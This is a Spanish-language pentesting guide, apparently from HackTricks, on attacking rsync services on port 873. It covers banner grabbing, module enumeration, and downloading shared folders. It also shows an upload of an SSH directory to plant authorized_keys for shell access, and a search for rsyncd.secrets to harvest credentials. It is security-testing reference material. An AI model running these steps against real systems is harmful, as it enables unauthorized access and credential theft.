hacktricks/network-services-pentesting/873-pentesting-rsync.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

78 lines
4.1 KiB
Markdown

## **Información Básica**
> **rsync** es una utilidad para transferir y sincronizar archivos de manera eficiente entre una computadora y un disco duro externo, y entre computadoras en red comparando los tiempos de modificación y los tamaños de los archivos. Se encuentra comúnmente en sistemas operativos similares a Unix. El algoritmo de rsync es un tipo de codificación delta y se utiliza para minimizar el uso de la red. Zlib se puede utilizar para compresión de datos adicional, y SSH o stunnel se pueden utilizar para seguridad.
De [wikipedia](https://en.wikipedia.org/wiki/Rsync).
**Puerto predeterminado:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
## Enumeración
### Banner y comunicación manual
```
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Enumerar carpetas compartidas**
**Un módulo de rsync es esencialmente una carpeta compartida**. Estos módulos **pueden estar protegidos opcionalmente por una contraseña**. Esta opción lista los módulos disponibles y, opcionalmente, determina si el módulo requiere una contraseña para acceder\*\*:\*\*
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Ten en cuenta que se podría configurar un nombre compartido para que no se liste. Así que podría haber algo **oculto**.\
Ten en cuenta que puede haber algunos **nombres compartidos** que se enumeran donde se necesitan algunas (diferentes) **credenciales** para acceder. Así que no siempre todos los nombres listados van a ser accesibles y lo notarás si recibes un mensaje de _**"Acceso denegado"**_ al intentar acceder a algunos de ellos.
### [**Fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#rsync)
### Rsync manual
Una vez que tienes la **lista de módulos**, tienes algunas opciones diferentes dependiendo de las acciones que quieras tomar y si se requiere autenticación o no. **Si no se requiere autenticación**, puedes **enumerar** una carpeta compartida:
```bash
rsync -av --list-only rsync://192.168.0.123/shared_name
```
Y **copiar** todos los **archivos** a tu máquina local mediante el siguiente comando:
```bash
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Esto **transfiere recursivamente todos los archivos del directorio** `<shared_name>` en la máquina `<IP>` al directorio `./rsync_shared` en la máquina local. Los archivos se transfieren en modo "archivo", lo que garantiza que los enlaces simbólicos, dispositivos, atributos, permisos, propietarios, etc. se conserven en la transferencia.
Si **tienes credenciales**, puedes **listar/descargar** un **nombre compartido** usando (se solicitará la contraseña):
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
También se puede **subir** contenido utilizando rsync (por ejemplo, en este caso podemos subir un archivo _**authorized\_keys**_ para obtener acceso a la caja):
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
Encuentra el archivo de configuración de rsyncd:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Dentro del archivo de configuración a veces se puede encontrar el parámetro _secrets file = /path/to/file_ y este archivo puede contener nombres de usuario y contraseñas permitidos para autenticarse en rsyncd.